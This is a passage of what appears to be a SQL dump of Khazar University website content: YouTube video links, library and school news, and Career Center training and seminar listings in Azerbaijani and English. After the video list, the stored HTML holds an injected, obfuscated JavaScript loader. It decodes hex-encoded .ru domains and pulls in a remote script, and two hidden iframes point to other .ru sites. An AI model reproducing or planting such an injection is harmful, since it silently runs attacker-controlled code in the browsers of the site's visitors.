sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=EFfBA4FkGUs\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Nəbatət bağında gəzinti - Media Mərkəzi 2009-cu il</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=NhATn7BjoVA\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Khazar University - Yeni il şənliyi (1995)</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=U7nKDQoY05g\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Media Mərkəzi şəhər gəzintisində</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=MAsIGsOJje4\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Khazar University - Xarici tələbələrin konserti 2003</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=qFH5Ixt9qWk\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Əhməd Cavad (Xəzər Universitesi)</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=-PuJG6-FUj4\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Ziyarət</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=eW_vLJRpQuc\" sessionlink=\"ei=2xsXWOuSDoH2qAXhlKiADA\">Xəzərin mahnı və rəqs ansambılının Gəncəyə səyahəti (1999-cu il)</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=tbBKt6zEI4A\" sessionlink=\"ei=SxkXWLHvB42YqwX1q5bADw\">Khazar University. Valentine\'s Day</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=DeNDeERMQA0\" sessionlink=\"ei=SxkXWLHvB42YqwX1q5bADw\">Khazar University\'s Got Talent-2</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=uLJuX4EtbII\" sessionlink=\"ei=SxkXWLHvB42YqwX1q5bADw\">Khazar Media Center - Gobustan</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=E52CVI4EIo8\" sessionlink=\"ei=SxkXWLHvB42YqwX1q5bADw\">Məzunlarla görüş - 2011</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=BTixz4Xe5CE\" sessionlink=\"ei=SxkXWLHvB42YqwX1q5bADw\">Khazar University - 2006</a>  <br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=tTrFKkNOWdA\" sessionlink=\"ei=SxkXWLHvB42YqwX1q5bADw\">Hamlet İsaxanlı - \"Ziyarət\"ə giriş</a>  <br></p><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"https://www.youtube.com/watch?v=2xZ4_y109hU\" sessionlink=\"ei=SxkXWLHvB42YqwX1q5bADw\">Hamlet İsaxanlı - \"Ziyarət\"</a></p>  <br></div>  <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"746172653531766b682e7275\",\"757561356a72327a317671302e7275\"]\'),o=\"24108\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=24108\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=24108\" style=\"display:none\"></iframe>'),(2493,1508,'en','Gift to Khazar Library from M. Fuzuli Manuscripts Institute of ANAS','With the initiative of Khatira Yusifova, instructor of the Khazar University Department of Azerbaijani Language and Literature, the M. Fuzuli Manuscripts Institute of Azerbaijan...','With the initiative of Khatira Yusifova,\r\ninstructor of the Khazar University Department of Azerbaijani Language and\r\nLiterature, the M. Fuzuli Manuscripts Institute of Azerbaijan National Academy\r\nof Sciences has donated 82 books in 59 unique titles to the Khazar University\r\nLibrary Information Center. These books will be useful for instructors and\r\nstudents in their own academic research.'),(2494,1508,'az','AMEA-nın M. Füzuli adına Əlyazmalar İnstitutundan kitabxana fonduna hədiyyə','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Xatirə Yusifovanın təşəbbüsü və vasitəçiliyi ilə Azərbaycana Milli Elmlər Akademiyasının Məhəmməd Füzuli...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Xatirə\r\nYusifovanın təşəbbüsü və vasitəçiliyi ilə Azərbaycana Milli Elmlər\r\nAkademiyasının Məhəmməd Füzuli adına Əlyazmalar İnstitutundan universitetin\r\nKitabxana-İnformasiya Mərkəzinə ədəbiyyat üzrə 59 adda, 82 nüsxə kitab hədiyyə\r\nolunmuşdur. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müəllim\r\nvə tələbə heyəti öz elmi araşdırmalarında bu kitablardan yararlana bilərlər.</p>'),(2495,1509,'az','“Dünya” məktəbinin Misir səfirliyindəki görüşü mediada','Eurasiadiary.az xəbər saytı Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbinin müəllim və şagirdlərinin Misir Ərəb Respublikasının Azərbaycandakı Səfirliyinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><strong><em>Eurasiadiary.az</em></strong>\r\nxəbər saytı Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbinin\r\nmüəllim və şagirdlərinin Misir Ərəb Respublikasının Azərbaycandakı Səfirliyinin\r\nMədəniyyət Mərkəzində təşkil olunmuş görüşü haqqında məlumat yaymışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbəri\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://eurasiadiary.az/news/culture/81456-xezer-universitetinin-dunya-mektebinin-muellim-ve-sagirdleri-misir-medeniyyet-ve-tehsil-elaqeleri-merkezinde-olub\">http://eurasiadiary.az/news/culture/81456-xezer-universitetinin-dunya-mektebinin-muellim-ve-sagirdleri-misir-medeniyyet-ve-tehsil-elaqeleri-merkezinde-olub</a>.</p>'),(1198,496,'az','Haqqımızda','Haqqımızda','<p>Karyera Mərkəzi tələbələrin özünü kəşf etmə prosesinə aydınlıq qazandırmaq üçün dinamik bir yer yaratmaqla tələbələri Xəzər Universitetindən sonrakı mərhələlərdən də inamla keçməyə təşviq edir və onları dəstəkləyir.</p><p>Biz tələbələrimizi məzun olduqdan sonra iş həyatına daxıl olmağa hazırlayır, onları sahibkarlarla əlaqələndirir və bu günün iş həyatında ehtiyac duyulan bilik və bacarıqları mənimsəmələrinə dəstək oluruq.</p><p>Biz tələbələrə təcrübə proqramları və iş tapmağa kömək edirik.</p><p>Karyera mərkəzi fərdi və qrup görüşləri ilə sizin maraqlarınızı aydınlaşdırmağa kömək edir.</p>\r\n<p></p><ul><li>CV hazırlanması, müsahibə üçün əhatəli məktublar və ərizə formaları</li><li>Ali məktəb hazırlığı üçün planlama</li><li>Beynəlxalq təcrübə planlarının izlənməsi</li></ul><p></p>\r\n<p>Biz, gələcək işçilərə peşə bacarıqları qazandırmaqla və onları akademik biliklərlə bütünləşdirməklə tələbələrə iş ikanları yaradırıq:</p>\r\n<p></p><ul><li>Şirkət turları və təqdimatlar təşkil etmək</li><li>Təcrübə, yay iş və könüllü xidmətlər üçün imkanları yaratmaq</li><li>Əmək yarmarkaları təşkil etmək</li></ul><p></p>\r\n<p>Sizə minnətdarıq və sizinlə işləməkdən məmnunuq.</p><p><a href=\"http://www.khazar.org/az/menus/484/contact_us\">Bizə müraciət</a></p>'),(1199,497,'az','Gələcək Tədbirlər','Gələcək Tədbirlər',''),(1200,499,'az','Təlimlər və Seminarlar','Təlimlər və Seminarlar','<p style=\"margin-bottom:7.5pt;text-align:center;background:#fffffff\"><strong><span style=\"font-size:13.5pt;font-family:\'Arial\',\'sans-serif\';color:#252525\">CV\r\nHazırlanması Təlimi</span></strong><o:p></o:p></p><p></p><p><strong>Təlimçi</strong>: Səbinə Allahverənova</p><p>Karyera\r\nMərkəzinin Meneceri</p><p><strong>Tarix</strong>: &nbsp;7 Mart 2018</p><p><strong>Saat</strong>: 14:00</p><p><strong>Yer</strong>: Otaq N 211 (Köhnə bina)</p><p>Qeydiyyat\r\nüçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</p><p><strong>Qeydiyyat üçün son tarix</strong>: 17:00, 06 Mart 2018</p><p></p><p style=\"text-align:center\"><strong>CV Hazırlanması Təlimi</strong></p><p><strong>Təlimçi</strong>: Səbinə Allahverənova</p><p>Karyera Mərkəzinin Meneceri</p><p><strong>Tarix</strong>: 28 Fevral 2018</p><p><strong>Saat</strong>: 10:00</p><p><strong>Yer</strong>: Otaq N 211 (Köhnə bina)</p><p>Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</p><p><strong>Qeydiyyat üçün son tarix</strong>: 17:00, 27 Fevral 2018</p>  <p style=\"font-weight:bold;text-align:center\"><br></p><p style=\"font-weight:bold;text-align:center\">İNTERVYUDAN UĞURLA KEÇMƏYİN YOLLARI TƏLİMİ</p><p style=\"text-align:left\"><strong>Təlimçi</strong>: Səbinə Allahverənova Karyera Mərkəzinin Meneceri</p><p style=\"text-align:left\"><strong>Tarix</strong>: 16 Fevral, 2018</p><p style=\"text-align:left\"><strong>Saat</strong>: 12:40–14:00</p><p style=\"text-align:left\"><strong>Yer</strong>: Otaq N 211 (Köhnə bina)</p><p style=\"text-align:left\">Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</p><p style=\"text-align:left\"><strong>Qeydiyyat üçün son tarix</strong>: 17:00, 15 Fevral,2018</p>  <p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold;text-align:center\">CV Hazırlanması Təlimi</p><p><strong>Təlimçi</strong>: Səbinə Allahverənova</p><p>Karyera Mərkəzinin Meneceri</p><p><strong>Tarix</strong>: 9 Fevral 2018</p><p><strong>Saat</strong>: 11:00 – 12:00</p><p><strong>Yer</strong>: Otaq N 211 (Köhnə bina)</p><p>Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</p><p><strong>Qeydiyyat üçün son tarix</strong>: 17:00, 8 Fevral 2018</p>\r\n<p><br></p><p style=\"text-align:center\"><strong>CV Hazırlanması Təlimi</strong></p><p><strong>Təlimçi</strong>: Səbinə Allahverənova</p><p>Karyera Mərkəzinin Meneceri</p><p><strong>Tarix</strong>: 21 Dekabr 2017</p><p><strong>Saat</strong>: 15:00 – 16:00</p><p><strong>Yer</strong>: Otaq N 211 (Köhnə bina)</p><p>Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</p><p><strong>Qeydiyyat üçün son tarix</strong>: 17:00, 19 Dekabr 2017</p><p><br></p>\r\n<p style=\"text-align:center\"><strong>“Azərbaycanda məktəbdən işə keçidin təsviri” mövzusunda seminar</strong></p><p><strong>Məruzəçilər</strong>: İlkin Nəzərov, ATF-nin milli eksperti</p><p>Eduarda Castel Branco, ATF-nin Əmək bazarı və ixtisaslar üzrə baş mütəxəssis</p><p><strong>Tarix</strong>: 1 Dekabr, 2017</p><p><strong>Time</strong>: 10:00- 14:00</p><p><strong>Yer</strong>:&nbsp;Park Inn</p><p><br></p>  <p style=\"text-align:center\"><strong style=\"text-align:center\">\"İctimai Danışıq\" mövzusunda Açıq Dərs</strong></p> <p><strong>Məruzəçi:</strong>&nbsp;Dr. Sam Potolicchio</p><p>ABŞ səfirliyinin Alumni Speaker Grant proqramı çərçivəsində Bakıya gələn Dr. Potolicchio Amerikanın tanınmış Georgetown Universitetinin&nbsp; professorudur.</p><p>On Aprel&nbsp;17, 2017&nbsp;12:00&nbsp;<br></p><p>Xəzər Universiteti, Neftçilər kampusu, Otaq&nbsp;503,&nbsp;Köhnə bina</p><p>Qeydiyyat üçün careercenter@khazar.org&nbsp;ünvanına email yazın. &nbsp;</p>  <p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><strong>\"Mühasibatlıq və Maliyyə sahəsində karyera\"\r\nmövzusunda təlim</strong></p><p><strong>Məruzəçi:</strong>&nbsp;Orxan Yusifov,&nbsp;PCOB Group şirkətinin təsisçisi&nbsp;və\r\ndirektoru.&nbsp;Onun ictimai mühasibatlıq xidmətlərində Böyük Dördlük (Big 4)\r\nşirkəti ilə həm Azərbaycanda, həm də Amerika Birləşmiş Ştatlarında uzun illər\r\niş təcrübəsi var.</p>\r\n<br><ul><li>Peşəkar Rezyume yazmağın yolları</li><li>Təsirli niyət məktubları necə olmalıdır?</li><li>Müsahibəyə hazırlıq</li><li>İşi harda və necə axtarmalı</li><li>ACCA dəsrləri</li><li>PCOB xidmətləri</li><li>və hər biri 15 dəqiqəlik&nbsp;6 sınaq&nbsp;müsahibə</li></ul><br>\r\n<p>Aprel 5, 2017, 14:00 - 17:00</p>\r\n<p>Otaq No 102N&nbsp;Yeni&nbsp;bina, Neftçilər&nbsp;</p>\r\n<p>Qeydiyyat üçün careercenter@khazar.org&nbsp;ünvanına email\r\nyazın. &nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p style=\"text-align:center\"><strong>&nbsp;“Strategiya nədir?” mövzusunda seminar&nbsp;</strong></p>\r\n<p><strong>Məruzəçi:</strong>&nbsp;Xatirə&nbsp;Mikayilova, Halliburton</p>\r\n<p>4 Aprel 2017,&nbsp;14:00-15:30</p>\r\n<p>Otaq No 102N&nbsp;Yeni&nbsp;bina, Neftçilər&nbsp;&nbsp;</p>\r\n<p>Qeydiyyat üçün bu elektron ünvana yazmaq lazımdır:&nbsp;<a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>.&nbsp;</p>  <p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><strong>\"Təcrübə proqramlarının karyera irəliləyişində\r\nfaydası\"&nbsp;<strong>mövzusunda seminar&nbsp;</strong>&nbsp; &nbsp;&nbsp;</strong></p><p style=\"text-align:left\"><strong>Məruzəçi:</strong> Rəşad Bağırov</p><p style=\"text-align:left\">24&nbsp;Fevral&nbsp;2017</p><p style=\"text-align:left\">Saat:&nbsp;15:00-dan 17:00-a qədər&nbsp;  <br></p><p style=\"text-align:left\">Xəzər Universiteti “Neftçilər” korpusu, Köhnə bina Otaq N&nbsp;206<br></p><p style=\"text-align:left\">Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın və ya careercenter@khazar.org&nbsp;ünvanına email yazın.<br></p><p style=\"text-align:center\"><!-- pagebreak --><br></p><p style=\"text-align:center\"><strong>“Çətin iqtisadi vaxtlarda məzun olmaq” mövzusunda seminar&nbsp;</strong></p><p>Əsas mərüzəçi: Douglas Reichenberger </p>\r\n<p>28 Yanvar 2017</p>\r\n<p>Saat 12:00-da</p>\r\n<p>Xəzər Universiteti “Neftçilər” korpusu, yeni bina, LLL Mərkəz.</p>  <p dir=\"ltr\"><br></p>\r\n<p dir=\"ltr\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; Kommunikasiya Təlimi</strong></p>\r\n<p dir=\"ltr\">Nərgiz Qaravəliyeva tərəfindən&nbsp;</p><p dir=\"ltr\">28&nbsp;Dekabr 2016</p><p dir=\"ltr\">16:00 – 18:00</p>\r\n<p dir=\"ltr\">Otaq N 206 (II mərtəbə, Köhnə Bina)</p>\r\n<p dir=\"ltr\">Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</p><p dir=\"ltr\">Ancaq 20 nəfər qeydiyyatdan keçərək Təlimdə iştirak edə bilər</p><p dir=\"ltr\"><em>Qeydiyyat üçün son tarix: 17:00, 27 Dekabr 2016</em></p><p dir=\"ltr\"><br></p><hr noshade=\"noshade\"><p><br></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Karyera Planlama Təlimi</strong><strong></strong></p>\r\n<p>Tarix:&nbsp;21 Oktyabr 2016</p>\r\n<p>Saat:&nbsp;16:00 – 17:00</p>\r\n<p>Yer:&nbsp;Otaq N 211 (Köhnə Bina)</p>\r\n<p><em>Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</em></p><p style=\"\" margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\"><br></p><hr noshade=\"noshade\"><br><br><p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;İNTERVYUDAN UĞURLA KEÇMƏYİN YOLLARI TƏLİMİ&nbsp;</strong></p><p margin-top:5.65pt;margin-right:0in;margin-bottom:8.5pt;margin-left:0in;text-align:center;line-height:normal\"=\"\">Tarix:&nbsp;13 Oktyabr 2016</p>\r\n<p>Saat:&nbsp;10:00 – 12:00</p>\r\n<p>Yer:&nbsp;Otaq N 211 (Köhnə Bina)</p>\r\n<p><em>Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</em></p>  <p><br></p><br><hr noshade=\"noshade\"><br><br><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CV Hazırlanması Təlimi</strong></p><p>Təlimçi:&nbsp;Ülviyyə Hüseynova (Karyera Mərkəzinin Koordinatoru)</p><p>Tarix:&nbsp;7 Oktyabr 2016</p><p>Saat:&nbsp;15:00 – 16:00</p><p>Yer:&nbsp;Otaq N 211 (Köhnə bina)</p><p><em>Qeydiyyat üçün Karyera Mərkəzinə, Otaq N 211, İkinci Mərtəbə, Köhnə Binaya yaxınlaşın.</em></p>\r\n<p>Qeydiyyat üçün son tarix: 17:00, 6 Oktyabr 2016</p><p><br></p><hr noshade=\"noshade\"><strong><br></strong><br><p><strong><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \"&nbsp;Effektli ünsiyyət qurmaq bacarıqları (yolları</strong>)<strong>\"&nbsp;təlimi</strong></p><p>Təlimçi: Nərgiz Qaravəliyeva</p>\r\n<ul>\r\n<li>17 Mart, 2016- Ünsiyyət sadəcə danışmaq deyil<em>.</em></li>\r\n<li>31 Mart, 2016- Münaqişələri həll etməkdə ünsiyyətdən düzgün istifadə qaydaları.</li>\r\n<li>7 Aprel, 2016- Doğru ünsiyyət qurmaqla sadəcə kariyeramı deyil ailəmi də xilas edə bilərəm<em>.</em></li>\r\n</ul>\r\n<p><em>&nbsp;</em>Saat:&nbsp;14:00&nbsp;-16:00<em>&nbsp;</em>&nbsp;</p>\r\n<p>Yer:&nbsp;Otaq 206, Neftçilər korpusu</p>\r\n<p>Təlimə qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>Qeydiyyat üçün tələsin!</p><p>&nbsp;</p><hr noshade=\"noshade\"><br><p><br></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; “CIBS” şirkəti tərəfindən&nbsp;\" Effektiv müsahibə\" adlı təlim</strong>&nbsp;</p><p>Təlimçi: Təbriz Hacıyev</p>\r\n<p>Tarix:&nbsp;26 Fevral&nbsp;2016 (cümə)</p>\r\n<p>Saat:&nbsp;11:00</p>\r\n<p>Yer:&nbsp;Otaq 206, Neftçilər korpusu</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.&nbsp;</p>\r\n<p>Qeydiyyat üçün tələsin!&nbsp;</p><p><br></p>  <hr><p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\"Gənclər üçün sosioloji araşdırmalar üzrə master klass\" təlimi</strong></p><p>Təlimçi: Tamerlan Dəmirbəyli</p>\r\n<p>Tarix:&nbsp;19 dekabr&nbsp;2015 (şənbə)</p>\r\n<p>Saat:&nbsp;12:00</p>\r\n<p>Yer:&nbsp;Otaq 206 (köhnə bina)</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>Qeydiyyat üçün tələsin!</p>  <p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; “CSS” şirkəti tərəfindən “Ali məktəbdən müəsisəyə bir addım” adlı təlim</strong></p><p>Tarix:&nbsp;30 Noyabr, 2015</p>\r\n<p>Saat:&nbsp;12:00</p>\r\n<p>Yer:&nbsp;Otaq N&nbsp;206 (köhnə bina)</p>\r\n<p>&nbsp;Qeydiyyat üçün <em>Kayera Mərkəzinə</em> yaxınlaşın (211old)</p><p><br></p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BP tərəfindən “Nəyi kəşf edəcəksiniz” adlı təlim</strong></p>\r\n<p>Elektronika, telekommunikasiya və radiotexnika mühəndisliyi (2017 məzunları), İnşaat mühəndisliyi (2016-2017 məzunları), Neft-Qaz Mühəndisliyi (2017 məzunları) və Maliyyə(2016 məzunları) ixtisasında oxuyan tələbələri üçün nəzərdə tutulmuşdur.</p>\r\n<p>Tarix:&nbsp;02 dekabr&nbsp;2015&nbsp;(çərşənbə)</p>\r\n<p>Saat: 15:30</p>\r\n<p>Yer:&nbsp;Otaq 206, ll mərtəbə (old)</p>\r\n<p>Qeydiyyat üçün <em>Karyera Mərkəzinə</em> yaxınlaşın&nbsp;(ll mərtəbə, otaq 211&nbsp; old)<strong>&nbsp;</strong></p>  <p><br></p><hr><p>&nbsp;<strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; “EMOSİYALAR VƏ YALANLAR” təlimi</strong></p><p>Təlimçi: Fəxrəddin Abdullayev</p>\r\n<p>Tarix:&nbsp;27 Noyabr, (cümə)</p>\r\n<p>Saat:&nbsp;15:00</p>\r\n<p>Yer:&nbsp;Otaq N 206 (köhnə bina)</p>\r\n<p>Qeydiyyat: <em>Karyera Mərkəzi,&nbsp;otaq №211 (köhnə bina)</em>;</p><p>&nbsp;</p><hr><p>&nbsp;</p><table><tbody><tr><td><img src=\"/files/social/thumbnail_inter.jpg\" width=\"150\" height=\"116\"></td></tr></tbody></table><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ƏZİZ TƏLƏBƏLƏR!</strong></p><p>Nəzərinizə çatdırmaq istədik ki, 2015-ci il oktyabrın 22-dən “P&amp;G Yay Təcrübə Proqramı” açıq elan edilmişdir.<strong></strong></p>\r\n<p>Bütün 3-cü və 4-cü il bakalavr dərəcəsi üzrə təhsil alan tələbələr (5 illik təhsil sistemi üçün 4-cü və 5-ci il Bakalavr tələbələri) və Magistr pilləsi üzrə təhsil alan tələbələr “P&amp;G Yay Təcrübə Proqramı” üçün müraciət edə bilərlər.</p>\r\n<p><strong>P &amp; G Azərbaycan (2016 Təcrübə Programı üçün ümumi müraciət)</strong></p>\r\n<ul>\r\n<li>Ən yaxşı Öyrənmə və İnkişaf etmə imkanları</li>\r\n<li>İlk gün kimi məsuliyyət</li>\r\n<li>Əyləncəli və dinamik iş mühiti</li></ul>\r\n<p>Elə indi P&amp;G Azərbaycan müraciət edin.</p>\r\n<p>Hələ də sualınız var?</p>\r\n<p>O zaman, “P&amp;G Yay Təcrübə Proqramı”nın&nbsp;Xəzər Universitetində keçiriləcəyi&nbsp;təqdimatında iştirak edin!</p>\r\n<p>Tarix:&nbsp;23 Noyabr</p>\r\n<p>Saat: 15:00</p>\r\n<p>Yer: Otaq N 206 (köhnə bina)</p><p><br></p>  <div><br></div><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;AzərSun Holding tərəfindən Karyera İnkişafı ilə bağlı seminar</strong></p><p>Mövzu: Düzgün CV-nin tərtib olunması</p>\r\n<ul>\r\n<li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; İşə müraciət qaydası</li>\r\n<li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; İş müsahibəsinə hazırlıq</li>\r\n<li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Karyera günlərinə necə qatılmalı</li>\r\n<li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Sosial cəlb etmə</li>\r\n</ul>\r\n<p>Tarix:&nbsp;16 Noyabr (bazar ertəsi)</p>\r\n<p>Saat:&nbsp;15:00-17:00</p>\r\n<p>Yer: Otaq № 206&nbsp;(köhnə bina)</p>\r\n<p>Qeydiyyat müddəti: 2-16 Noyabr</p>\r\n<p>Qeydiyyat üçün <em>Karyera Mərkəzinə</em> müraciət edin.</p>  <p><br></p><hr><p>&nbsp; &nbsp; &nbsp; &nbsp;</p><p><br></p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<strong>RİSKLƏRİN İDARƏ EDİLMƏSİ TƏLİMİ</strong></p>\r\n<p>Təlimçi:&nbsp;Samir Cavadov</p>\r\n<p>Tarix:&nbsp;23 Oktyabr,&nbsp;2015 (cümə)</p>\r\n<p>Saat:&nbsp;18:00</p>\r\n<p>Yer: Otaq&nbsp;N&nbsp;206&nbsp;(köhnə bina)</p>\r\n<p>Qeydiyyat üçün <em>Karyera Mərkəzinə</em> müraciət edin.</p>\r\n<p>Qeydiyyat müddəti: 19-23 Oktyabr</p>  <p><br></p><div><hr></div><div><img src=\"/files/social/thumbnail_orxan%20oruc.jpg\" width=\"150\" height=\"166\"></div><div><p>&nbsp;</p><p>&nbsp;<strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;EFFEKTİV CV 